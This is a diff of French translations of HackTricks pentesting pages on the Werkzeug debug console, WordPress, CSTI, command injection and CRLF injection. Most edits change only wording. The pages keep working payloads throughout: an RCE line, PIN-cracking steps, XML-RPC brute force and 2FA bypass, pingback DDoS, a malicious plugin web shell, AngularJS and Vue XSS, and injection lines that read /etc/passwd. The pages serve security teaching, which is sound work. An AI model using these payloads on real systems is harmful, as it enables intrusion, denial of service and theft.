__import__('os').popen('whoami').read();
|
||||
```
|
||||
.png>)
|
||||
|
||||
Il existe également plusieurs exploits sur Internet comme [celui-ci](https://github.com/its-arun/Werkzeug-Debug-RCE) ou un dans Metasploit.
|
||||
Il existe également plusieurs exploits sur Internet comme [celui-ci](https://github.com/its-arun/Werkzeug-Debug-RCE) ou un dans metasploit.
|
||||
|
||||
## Protégé par un PIN - Traversée de chemin
|
||||
|
||||
@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN.
|
||||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant qu'un PIN est requis pour déverrouiller la console. La suggestion est faite d'exploiter le PIN de la console en analysant l'algorithme de génération de PIN dans le fichier d'initialisation de débogage de Werkzeug (`__init__.py`). Le mécanisme de génération de PIN peut être étudié à partir du [**dépôt de code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), bien qu'il soit conseillé de se procurer le code du serveur réel via une vulnérabilité de traversée de fichier en raison de potentielles divergences de version.
|
||||
Un message concernant le scénario "console verrouillée" est rencontré lors de la tentative d'accès à l'interface de débogage de Werkzeug, indiquant qu'un PIN est requis pour déverrouiller la console. La suggestion est faite d'exploiter le PIN de la console en analysant l'algorithme de génération de PIN dans le fichier d'initialisation de débogage de Werkzeug (`__init__.py`). Le mécanisme de génération de PIN peut être étudié à partir du [**dépôt de code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), bien qu'il soit conseillé d'obtenir le code serveur réel via une vulnérabilité de traversée de fichier en raison de potentielles divergences de version.
|
||||
|
||||
Pour exploiter le PIN de la console, deux ensembles de variables, `probably_public_bits` et `private_bits`, sont nécessaires :
|
||||
|
||||
@ -40,7 +39,7 @@ Pour exploiter le PIN de la console, deux ensembles de variables, `probably_publ
|
||||
|
||||
- **`uuid.getnode()`** : Récupère l'adresse MAC de la machine actuelle, avec `str(uuid.getnode())` la traduisant en format décimal.
|
||||
|
||||
- Pour **déterminer l'adresse MAC du serveur**, il faut identifier l'interface réseau active utilisée par l'application (par exemple, `ens3`). En cas d'incertitude, **fuite `/proc/net/arp`** pour trouver l'ID de l'appareil, puis **extrait l'adresse MAC** de **`/sys/class/net/<device id>/address`**.
|
||||
- Pour **déterminer l'adresse MAC du serveur**, il faut identifier l'interface réseau active utilisée par l'application (par exemple, `ens3`). En cas d'incertitude, **fuite `/proc/net/arp`** pour trouver l'ID de l'appareil, puis **extraire l'adresse MAC** de **`/sys/class/net/<device id>/address`**.
|
||||
- La conversion d'une adresse MAC hexadécimale en décimal peut être effectuée comme montré ci-dessous :
|
||||
|
||||
```python
|
||||
@ -154,7 +153,9 @@ C'est parce qu'il est possible d'envoyer certains caractères **Unicode** dans W
|
||||
|
||||
## Exploitation Automatisée
|
||||
|
||||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||||
{{#ref}}
|
||||
https://github.com/Ruulian/wconsole_extractor
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
@ -163,5 +164,4 @@ C'est parce qu'il est possible d'envoyer certains caractères **Unicode** dans W
|
||||
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||||
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,9 +5,9 @@
|
||||
## Informations de base
|
||||
|
||||
- Les fichiers **téléchargés** vont à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant **le thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le **thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Une **autre URL utile pourrait être :** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- Une autre URL utile pourrait être : [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Dans **wp-config.php**, vous pouvez trouver le mot de passe root de la base de données.
|
||||
- Chemins de connexion par défaut à vérifier : _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
@ -26,7 +26,7 @@
|
||||
- Le dossier `wp-content` est le répertoire principal où les plugins et les thèmes sont stockés.
|
||||
- `wp-content/uploads/` est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés.
|
||||
- `wp-includes/` est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices, les fichiers JavaScript et les widgets.
|
||||
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier XML de plan du site avec tous les articles publics et les types d'articles et taxonomies interrogeables publiquement.
|
||||
- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier XML de plan de site avec tous les articles publics et les types d'articles et taxonomies interrogeables publiquement.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
@ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Plugins et Thèmes
|
||||
|
||||
Vous ne pourrez probablement pas trouver tous les Plugins et Thèmes possibles. Pour en découvrir tous, vous devrez **Brute Forcer activement une liste de Plugins et Thèmes** (espérons-le pour nous, il existe des outils automatisés qui contiennent ces listes).
|
||||
Vous ne pourrez probablement pas trouver tous les Plugins et Thèmes possibles. Pour les découvrir tous, vous devrez **forcer activement une liste de Plugins et Thèmes** (espérons pour nous qu'il existe des outils automatisés qui contiennent ces listes).
|
||||
|
||||
### Utilisateurs
|
||||
|
||||
- **ID Brute :** Vous obtenez des utilisateurs valides d'un site WordPress en Brute Forçant les IDs des utilisateurs :
|
||||
- **ID Brute :** Vous obtenez des utilisateurs valides d'un site WordPress en forçant les IDs des utilisateurs :
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -134,7 +134,7 @@ Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cet
|
||||
```
|
||||
Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de code 200 doit apparaître si les identifiants ne sont pas valides.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -174,12 +174,12 @@ Il existe également un **moyen plus rapide** de brute-forcer les identifiants e
|
||||
|
||||
**Contourner 2FA**
|
||||
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge 2FA. Donc, si vous avez des identifiants valides mais que l'entrée principale est protégée par 2FA, **vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez tout de même être en mesure d'accéder à RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge 2FA. Donc, si vous avez des identifiants valides mais que l'entrée principale est protégée par 2FA, **vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez tout de même être en mesure d'atteindre RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS ou scan de port**
|
||||
|
||||
Si vous pouvez trouver la méthode _**pingback.ping**_ dans la liste, vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel hôte/port.\
|
||||
Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **emplacement** (ce qui provoque un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire en sorte que **Wordpress** **scanne** un **réseau** interne (vous pouvez indiquer n'importe quel port).
|
||||
Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **emplacement** (ce qui provoque un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire **Wordpress** **scanner** un réseau **interne** (vous pouvez indiquer n'importe quel port).
|
||||
```markup
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -211,13 +211,13 @@ Jetez un œil à l'utilisation de **`system.multicall`** dans la section précé
|
||||
|
||||
Ce fichier existe généralement à la racine du site Wordpress : **`/wp-cron.php`**\
|
||||
Lorsque ce fichier est **accédé**, une **requête** MySQL "**lourde**" est effectuée, il pourrait donc être utilisé par des **attaquants** pour **causer** un **DoS**.\
|
||||
De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui peut causer des problèmes (DoS) sur des sites à fort trafic.
|
||||
De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui, sur des sites à fort trafic, peut causer des problèmes (DoS).
|
||||
|
||||
Il est recommandé de désactiver Wp-Cron et de créer un véritable cronjob sur l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Worpress pourrait vous faire une requête.
|
||||
Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Worpress peut vous faire une requête.
|
||||
|
||||
Voici la réponse lorsque cela ne fonctionne pas :
|
||||
|
||||
@ -225,9 +225,11 @@ Voici la réponse lorsque cela ne fonctionne pas :
|
||||
|
||||
## SSRF
|
||||
|
||||
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
|
||||
{{#ref}}
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Cet outil vérifie si le **methodName: pingback.ping** et pour le chemin **/wp-json/oembed/1.0/proxy** existent, et s'ils existent, il essaie de les exploiter.
|
||||
Cet outil vérifie si le **methodName: pingback.ping** et pour le chemin **/wp-json/oembed/1.0/proxy** et s'il existe, il essaie de les exploiter.
|
||||
|
||||
## Outils Automatiques
|
||||
```bash
|
||||
@ -293,11 +295,11 @@ Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
|
||||
|
||||
### Téléchargement et activation d'un plugin malveillant
|
||||
|
||||
Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le tableau de bord WordPress comme suit :
|
||||
Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est effectué via le tableau de bord WordPress comme suit :
|
||||
|
||||
1. **Acquisition du plugin** : Le plugin est obtenu à partir d'une source comme Exploit DB comme [**ici**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Installation du plugin** :
|
||||
- Accédez au tableau de bord WordPress, puis allez à `Tableau de bord > Plugins > Télécharger un plugin`.
|
||||
- Accédez au tableau de bord WordPress, puis allez à `Tableau de bord > Plugins > Télécharger le plugin`.
|
||||
- Téléchargez le fichier zip du plugin téléchargé.
|
||||
3. **Activation du plugin** : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord.
|
||||
4. **Exploitation** :
|
||||
@ -313,7 +315,7 @@ Le contenu comprend des aides visuelles décrivant les étapes dans le tableau d
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) : _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** à **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :**
|
||||
- _**Escalade de privilèges :**_ Crée un utilisateur dans WordPress.
|
||||
- _**(RCE) Téléchargement de plugin personnalisé (backdoor) :**_ Téléchargez votre plugin personnalisé (backdoor) dans WordPress.
|
||||
- _**(RCE) Téléchargement de plugin personnalisé (backdoor) :**_ Téléchargez votre plugin personnalisé (backdoor) sur WordPress.
|
||||
- _**(RCE) Édition de plugin intégré :**_ Éditez des plugins intégrés dans WordPress.
|
||||
- _**(RCE) Édition de thème intégré :**_ Éditez des thèmes intégrés dans WordPress.
|
||||
- _**(Personnalisé) Exploits personnalisés :**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers.
|
||||
@ -366,9 +368,9 @@ Le `permission_callback` est un rappel à une fonction qui vérifie si un utilis
|
||||
|
||||
- **Accès direct au fichier php**
|
||||
|
||||
Bien sûr, WordPress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
|
||||
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
|
||||
|
||||
## Protection de WordPress
|
||||
## Protection WordPress
|
||||
|
||||
### Mises à jour régulières
|
||||
|
||||
|
||||
@ -1,8 +1,7 @@
|
||||
# Autres astuces Web
|
||||
# Autres astuces web
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### En-tête d'hôte
|
||||
|
||||
Plusieurs fois, le back-end fait confiance à l'**en-tête d'hôte** pour effectuer certaines actions. Par exemple, il pourrait utiliser sa valeur comme le **domaine pour envoyer une réinitialisation de mot de passe**. Donc, lorsque vous recevez un e-mail avec un lien pour réinitialiser votre mot de passe, le domaine utilisé est celui que vous avez mis dans l'en-tête d'hôte. Ensuite, vous pouvez demander la réinitialisation du mot de passe d'autres utilisateurs et changer le domaine pour un contrôlé par vous afin de voler leurs codes de réinitialisation de mot de passe. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
@ -10,7 +9,6 @@ Plusieurs fois, le back-end fait confiance à l'**en-tête d'hôte** pour effect
|
||||
> [!WARNING]
|
||||
> Notez qu'il est possible que vous n'ayez même pas besoin d'attendre que l'utilisateur clique sur le lien de réinitialisation du mot de passe pour obtenir le jeton, car peut-être même **les filtres anti-spam ou d'autres dispositifs/bots intermédiaires cliqueront dessus pour l'analyser**.
|
||||
|
||||
|
||||
### Booléens de session
|
||||
|
||||
Parfois, lorsque vous complétez correctement une vérification, le back-end **ajoute simplement un booléen avec la valeur "True" à un attribut de sécurité de votre session**. Ensuite, un point de terminaison différent saura si vous avez réussi à passer cette vérification.\
|
||||
@ -26,13 +24,14 @@ Enregistrez un e-mail, avant de le confirmer, changez l'e-mail, puis, si le nouv
|
||||
|
||||
### Accéder au service desk interne des entreprises utilisant Atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### Méthode TRACE
|
||||
|
||||
Les développeurs peuvent oublier de désactiver diverses options de débogage dans l'environnement de production. Par exemple, la méthode HTTP `TRACE` est conçue à des fins de diagnostic. Si elle est activée, le serveur web répondra aux requêtes utilisant la méthode `TRACE` en écho dans la réponse la requête exacte qui a été reçue. Ce comportement est souvent inoffensif, mais conduit parfois à une divulgation d'informations, comme le nom des en-têtes d'authentification internes qui peuvent être ajoutés aux requêtes par des proxies inverses.
|
||||
Les développeurs peuvent oublier de désactiver diverses options de débogage dans l'environnement de production. Par exemple, la méthode HTTP `TRACE` est conçue à des fins de diagnostic. Si elle est activée, le serveur web répondra aux requêtes utilisant la méthode `TRACE` en écho dans la réponse de la requête exacte qui a été reçue. Ce comportement est souvent inoffensif, mais conduit parfois à une divulgation d'informations, comme le nom des en-têtes d'authentification internes qui peuvent être ajoutés aux requêtes par des proxys inverses.
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
@ -32,6 +32,8 @@ Pour **contourner** le captcha lors des **tests de serveur** et automatiser les
|
||||
|
||||
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) est un service alimenté par l'IA qui se spécialise dans la résolution automatique de divers types de captchas, facilitant la collecte de données en aidant les développeurs à surmonter facilement les défis de captcha rencontrés lors du Web Scraping. Il prend en charge des captchas tels que **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, et Cloudflare turnstile parmi d'autres**. Pour les développeurs, Capsolver propose des options d'intégration API détaillées dans [**documentation**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitant l'intégration de la résolution de captcha dans les applications. Ils fournissent également des extensions de navigateur pour [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) et [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), rendant facile l'utilisation de leur service directement dans un navigateur. Différents forfaits tarifaires sont disponibles pour répondre à des besoins variés, garantissant flexibilité pour les utilisateurs.
|
||||
|
||||
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,19 +1,18 @@
|
||||
# Injection de Modèle Côté Client (CSTI)
|
||||
# Injection de modèle côté client (CSTI)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Résumé
|
||||
|
||||
C'est comme une [**Injection de Modèle Côté Serveur**](ssti-server-side-template-injection/) mais dans le **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du JavaScript** arbitraire dans le navigateur de la victime.
|
||||
C'est comme une [**Injection de modèle côté serveur**](ssti-server-side-template-injection/) mais dans le **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du JavaScript** arbitraire dans le navigateur de la victime.
|
||||
|
||||
**Tester** cette vulnérabilité est très **similaire** au cas de **SSTI**, l'interpréteur s'attend à **un modèle** et l'exécutera. Par exemple, avec un payload comme `{{ 7-7 }}`, si l'application est **vulnérable**, vous verrez un `0`, et sinon, vous verrez l'original : `{{ 7-7 }}`
|
||||
**Tester** cette vulnérabilité est très **similaire** au cas de **SSTI**, l'interpréteur s'attend à **un modèle** et l'exécutera. Par exemple, avec une charge utile comme `{{ 7-7 }}`, si l'application est **vulnérable**, vous verrez un `0`, et sinon, vous verrez l'original : `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML via des attributs connus sous le nom de directives, l'une d'elles étant **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
|
||||
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML via des attributs connus sous le nom de directives, l'une des plus notables étant **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
|
||||
|
||||
Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec `ng-app`, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment le code JavaScript peut être exécuté :
|
||||
Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec `ng-app`, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté :
|
||||
```javascript
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
@ -24,8 +23,7 @@ Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans l
|
||||
```
|
||||
Vous pouvez trouver un **exemple en ligne très basique** de la vulnérabilité dans **AngularJS** à [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) et dans [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
|
||||
> [!CAUTION]
|
||||
> [**Angular 1.6 a supprimé le sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) donc à partir de cette version, un payload comme `{{constructor.constructor('alert(1)')()}}` ou `<input ng-focus=$event.view.alert('XSS')>` devrait fonctionner.
|
||||
> [!CAUTION] > [**Angular 1.6 a supprimé le sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) donc à partir de cette version, un payload comme `{{constructor.constructor('alert(1)')()}}` ou `<input ng-focus=$event.view.alert('XSS')>` devrait fonctionner.
|
||||
|
||||
## VueJS
|
||||
|
||||
@ -37,7 +35,7 @@ Et le **code source** de l'exemple vulnérable ici : [https://github.com/azu/vue
|
||||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
Un très bon article sur le CSTI dans VUE peut être trouvé à [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
Un très bon article sur CSTI dans VUE peut être trouvé à [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
|
||||
### **V3**
|
||||
```
|
||||
@ -71,9 +69,10 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||
```
|
||||
**Plus de payloads dans** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||||
|
||||
## **Liste de détection de brute-force**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
## **Liste de détection par force brute**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Qu'est-ce que l'injection de commande ?
|
||||
|
||||
Une **injection de commande** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent.
|
||||
@ -30,7 +29,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Bypasses de Limitation**
|
||||
### **Limitation** Bypasses
|
||||
|
||||
Si vous essayez d'exécuter des **commandes arbitraires à l'intérieur d'une machine linux**, vous serez intéressé à lire sur ces **Bypasses :**
|
||||
|
||||
@ -118,9 +117,11 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
## Liste de détection de Brute-Force
|
||||
## Liste de Détection de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@ -2,11 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
### CRLF
|
||||
|
||||
Le retour chariot (CR) et le saut de ligne (LF), collectivement connus sous le nom de CRLF, sont des séquences de caractères spéciales utilisées dans le protocole HTTP pour indiquer la fin d'une ligne ou le début d'une nouvelle. Les serveurs web et les navigateurs utilisent CRLF pour distinguer les en-têtes HTTP du corps d'une réponse. Ces caractères sont universellement employés dans les communications HTTP/1.1 à travers divers types de serveurs web, tels qu'Apache et Microsoft IIS.
|
||||
Le retour chariot (CR) et le saut de ligne (LF), collectivement connus sous le nom de CRLF, sont des séquences de caractères spéciaux utilisées dans le protocole HTTP pour indiquer la fin d'une ligne ou le début d'une nouvelle. Les serveurs web et les navigateurs utilisent CRLF pour distinguer les en-têtes HTTP du corps d'une réponse. Ces caractères sont universellement employés dans les communications HTTP/1.1 à travers divers types de serveurs web, tels qu'Apache et Microsoft IIS.
|
||||
|
||||
### Vulnérabilité d'Injection CRLF
|
||||
|
||||
@ -37,7 +35,7 @@ L'attaquant dissimule ainsi ses activités malveillantes en faisant apparaître
|
||||
|
||||
#### Description
|
||||
|
||||
HTTP Response Splitting est une vulnérabilité de sécurité qui survient lorsqu'un attaquant exploite la structure des réponses HTTP. Cette structure sépare les en-têtes du corps à l'aide d'une séquence de caractères spécifique, le Retour Chariot (CR) suivi du Saut de Ligne (LF), collectivement appelés CRLF. Si un attaquant parvient à insérer une séquence CRLF dans un en-tête de réponse, il peut manipuler efficacement le contenu de la réponse suivante. Ce type de manipulation peut entraîner de graves problèmes de sécurité, notamment le Cross-site Scripting (XSS).
|
||||
HTTP Response Splitting est une vulnérabilité de sécurité qui survient lorsqu'un attaquant exploite la structure des réponses HTTP. Cette structure sépare les en-têtes du corps à l'aide d'une séquence de caractères spécifique, le Carriage Return (CR) suivi du Line Feed (LF), collectivement appelés CRLF. Si un attaquant parvient à insérer une séquence CRLF dans un en-tête de réponse, il peut manipuler efficacement le contenu de la réponse suivante. Ce type de manipulation peut entraîner de graves problèmes de sécurité, notamment le Cross-site Scripting (XSS).
|
||||
|
||||
#### XSS à travers HTTP Response Splitting
|
||||
|
||||
@ -45,7 +43,7 @@ HTTP Response Splitting est une vulnérabilité de sécurité qui survient lorsq
|
||||
2. L'application récupère la valeur pour `UserInput` à partir d'un paramètre de requête, disons "user_input". Dans des scénarios manquant de validation et d'encodage appropriés des entrées, un attaquant peut créer un payload qui inclut la séquence CRLF, suivie de contenu malveillant.
|
||||
3. Un attaquant crée une URL avec un 'user_input' spécialement conçu : `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
||||
- Dans cette URL, `%0d%0a%0d%0a` est la forme encodée en URL de CRLFCRLF. Cela trompe le serveur en insérant une séquence CRLF, amenant le serveur à traiter la partie suivante comme le corps de la réponse.
|
||||
4. Le serveur reflète l'entrée de l'attaquant dans l'en-tête de réponse, conduisant à une structure de réponse non intentionnelle où le script malveillant est interprété par le navigateur comme faisant partie du corps de la réponse.
|
||||
4. Le serveur reflète l'entrée de l'attaquant dans l'en-tête de réponse, entraînant une structure de réponse non intentionnelle où le script malveillant est interprété par le navigateur comme faisant partie du corps de la réponse.
|
||||
|
||||
#### Un exemple de HTTP Response Splitting menant à une redirection
|
||||
|
||||
@ -65,26 +63,28 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT
|
||||
```
|
||||
#### Dans le chemin d'URL
|
||||
|
||||
Vous pouvez envoyer la charge utile **dans le chemin d'URL** pour contrôler la **réponse** du serveur (exemple de [ici](https://hackerone.com/reports/192667)):
|
||||
